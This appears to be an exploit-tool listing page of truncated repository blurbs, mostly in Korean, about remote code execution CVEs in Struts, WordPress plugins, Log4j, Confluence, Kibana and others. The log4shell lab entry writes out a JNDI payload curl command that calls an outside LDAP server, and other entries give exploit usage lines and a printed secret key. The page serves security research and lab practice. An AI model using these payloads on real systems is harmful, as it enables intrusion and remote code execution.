CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164-Apache-Struts-RCE를 테스트하는 데 사용할 수 있는 취약한 WAR 파일 및 도커 파일이 포함되어 있습니다. 이 도커파일과 취약한 애플리케이션은 https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE 의 리소스와 코드를 사용하여 컴파일 및 설계되었습니다. 자세한 리소스와 익스플로잇을 제공해 주신 그분께 감사드립니다. 심층 분석 및 익스플로잇 스크립트를 보려면 참조 섹션에 언급된 저장소와 블로그를 확인하세요. 취약한 파일 업로드 액션은...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2025-6058

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 인증되지 않은 파일 업로드 익스플로잇 인증되지 않은 임의 파일 업로드 익스플로잇 — WordPress WPBookit 플러그인 ≤ 1.0.4 대상 익스플로잇은 원격 셸 업로드 및 전체 명령 실행을 허용합니다. 저자: 0xgh057r3c0n 📌 취약점 정보 CVE-2025-6058 은 WordPress CMS의 WPBookit 플러그인에 영향을 미치는 치명적인 취약점입니다. 인증되지 않은 공격자가 취약한 AJAX 엔드포인트를 악용하여 임의의 PHP...

CVE-2026-85604

Grav before 2.0.18 affected versions = 2.0.17 contains a remote code execution vulnerability in the Twig sort filter. The sortFunc wrapper in GravExtension.php hardcodes Twig's isSandboxed argument to false, so unlike |map/|filter/|reduce, |sort accepts a plain function name inside the sandbox; t...

jboss-deserialization

CVE-2017-12149를 통한 JBoss 불안전한 역직렬화에서 RCE까지. JBoss 불안전한 역직렬화 - RCE 익스플로잇 연구실. 여기서는 오래된 JBoss 버전7.0으로 연구실을 구축하여 취약점을 익스플로잇하는 것이 목표입니다. Docker를 사용하여 모든 과정을 용이하게 할 수 있습니다. 이를 위해 Oracle JDK rpm 패키지가 필요합니다. 그 이유는 JBoss 6.0.0 final이 JDK 6 런타임에서 작동하기 때문입니다. 또한 저장소에 포함된 Dockerfile과 시스템에 Docker가 설치되어 있어야...

log4shell_lab

log4shell 익스플로잇 랩 이 저장소는 log4shell 익스플로잇 랩을 위한 원라인 설정입니다. 랩 설정: docker-compose up -d 익스플로잇 실행: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 그런 다음 vul 컨테이너로 이동하여 실제로 머신을 장악했는지 확인하세요: 랩 설정 설명 영상: https://www.youtube.com/watch?v=WBzR30JcT5g 코드 설명 영상:...

CVE-2021-26084

CVE-2021-26084 Confluence OGNL 注入 CVE-2021-26084 是 Atlassian Confluence Webwork 实现中的一个对象图导航语言 OGNL 注入漏洞。未经身份验证的远程攻击者可以通过向 Confluence Server 或 Data Center 实例上的易受攻击端点发送特制请求来利用此漏洞。成功利用可允许攻击者执行任意代码。 注意 - 确保更改 collaborator id。 用法 root@kitploit: python3 CVE-2021-26084.py http://target 作者 • D0rkerDevil...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 POCsuite 및 goland로 구현한 Huawei HG532 라우터 명령 주입 CVE-2017-17215 POC goland 구현 POCsuite 구현 작성 방법과 코드는 다음 링크를 참조하세요: https://blog.csdn.net/qq41490561/article/details/127659604...

CVE-2020-10238

HK 제작 CVE-2020-10238: comtemplates의 잘못된 액세스 제어 - RCE CVE-2020-10239: comfields SQL 필드의 잘못된 액세스 제어 - RCE 링크 https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

nmap-spring4shell

Nmap-spring4shell Log4shell-nmap 是一个 NSE 脚本，用于检测 HTTP 服务中的 Spring4Shell RCE 漏洞（CVE-2022-22965）。该脚本将正确的负载注入应用程序，然后在指定的端点上执行以下命令。 漏洞 请参见这里。 用法 root@kitploit: ┌──kali㉿kali-/nmap-spring4shell └─$ nmap 127.0.0.1 --script=./spring4shell.nse ... PORT STATE SERVICE REASON VERSION 8080/tcp open http-proxy...

2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report

2025-Oracle-SSO-LDAP-공격-사후-보고서 이 사후 보고서는 Oracle Cloud의 ID 및 인증 인프라를 표적으로 한 2025년 공급망 침해 사고를 분석합니다. 위협 행위자가 레거시 Oracle Access ManagerOAM 인스턴스에서 패치되지 않은 사전 인증 원격 코드 실행 취약점CVE-2021-35587, CVSS 9.8을 악용하여 인증 토큰을 위조하고 수개월간 탐지되지 않은 채 활동한 방법을 상세히 설명합니다. 이 보고서는 140,000개 이상의 테넌트에 영향을 미치고 600만 건의 사용자 레코드를...

WSOB

😭 WSOB CVE-2022-29464 😭 WSOB 은 WSO2에서 CVE-2022-29464로 지정된 새로운 취약점을 악용하기 위해 만들어진 파이썬 도구입니다. CVE-2022-29464 세부 정보: 특정 WSO2 제품은 무제한 파일 업로드를 허용하여 결과적으로 원격 코드 실행이 가능합니다. 공격자는 /fileupload 엔드포인트에서 Content-Disposition 디렉터리 트래버설 시퀀스를 사용하여 웹 루트 아래의 디렉터리예: ../../../../repository/deployment/server/webapps...

CVE-2026-32475

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 인증되지 않은 임의 파일 업로드 → RCE CVE-2026-32475CVSS 9.0 Critical, CWE-434에 대한 PoC: Elementor Pro Forms 모듈의 인증되지 않은 임의 파일 업로드로 원격 코드 실행으로 이어집니다. Elementor Pro 4.2.22026-08-19에서 수정되었습니다. Patchstack Bug Bounty 프로그램을 통해 Tin PhamTF1T이 보고했습니다. root@kitploit: ███████╗ █████...

mssharepoint-scanner

MS SharePoint 스캐너 Microsoft SharePoint용 단일 파일, 무종속성 방어적 도구로, 두 가지 중요한 온프레미스 취약점에 대한 서비스 검색단일 또는 대량과 CVE 평가 를 결합합니다: CVE-2026-55040 치명적 9.1 — JWT 토큰 인증 우회 CVE-2026-63520 높음 8.1 — BDC 모델 / 안전하지 않은 .NET 타입 인스턴스화를 통한 원격 코드 실행 모든 기능이 하나의 소스 파일에 포함되어 있으며 별도의 스크립트가 필요 없습니다. 기능 1. 서비스 검색 단일 대상 또는 대규모...

CVE-2020-8816

CVE-2020-8816 Pi-hole 인증된 원격 코드 실행 버전 = 4.3.2 사용법 python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin 예시 추가 정보 https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2023-6553

CVE-2023-6553 "Backup Migration" 플러그인의 잘못된 include 문으로 인해 공격자가 RCE를 달성할 수 있음 CVE 요약 Backup Migration WordPress 플러그인은 1.3.7 이하의 모든 버전에서 /includes/backup-heart.php 파일을 통해 원격 코드 실행Remote Code Execution에 취약합니다. 이는 공격자가 include에 전달되는 값을 제어할 수 있고, 이를 악용하여 원격 코드 실행을 달성할 수 있기 때문입니다. 이로 인해 인증되지 않은 공격자가 서버...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 전체 익스플로잇 설정 및 재현 보고서를 찾으려면 CVE-2022-42889-Project Vulnerability Exploitation Report 파일을 참조하십시오. 익스플로잇을 빌드하고 실행하는 데 사용된 VM은 이 리포지토리에 포함되어 있지 않습니다. CVE-2022-42889 Text4Shell에 대한 설정 및 익스플로잇 재현. CVE-2022-42889는 'Text4Shell'로도 알려진, Apache Commons Text 라이브러리의 심각한 취약점입니다. 이 라이브러리는...

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

Wing FTP Server v8.1.2에는 세션 직렬화 메커니즘에 원격 코드 실행RCE 취약점이 존재합니다. 인증된 관리자는 도메인 관리자 mydirectorybasefolder 필드를 통해 임의의 Lua 코드를 주입할 수 있으며, 이는 서버 측에서 loadfile을 통해 실행됩니다. 이는 CVE-2025-47812와는 별개의 취약점입니다. v7.4.4에서 CVE-2025-47812에 적용된 수정 사항은 사용자 이름 필드의 null 바이트 주입 벡터만 해결했습니다. 근본적인 안전하지 않은 세션 직렬화는 수정되지 않았으며,...

React2Shell-CVE-2025-55182

CVE-2025-55182 — React2Shell 인증되지 않은 React Server Components RCE Flight 프로토콜의 안전하지 않은 역직렬화를 통해. 단일 HTTP 요청으로 서버에서 임의 코드를 실행할 수 있습니다. 자격 증명도, 사전 접근 권한도 필요하지 않습니다. root@kitploit: / / / /| |/ / \ / / / / / / / / // / / // / // | // .//,///|| // React Server Components — Flight Protocol RCE...

cve-2019-7609

CVE-2019-7609 python3.6+로 작성된 CVE-2019-7609 익스플로잇으로, LandGrey의 코드를 기반으로 합니다. CVE-2019-7609 : Timelion 시각화 도구에서 Kibana 5.6.15 이전 버전 및 6.6.0 이전 버전에 존재하는 RCE 취약점입니다. 사용법 1. 리스너를 시작합니다 2. 대상 URLkiba 서버의 기본 URL, 리스너 호스트 주소 및 리스너 포트를 인자로 하여 익스플로잇을 실행합니다 root@kitploit: ./cve-2019-7609.py http://:5601 3...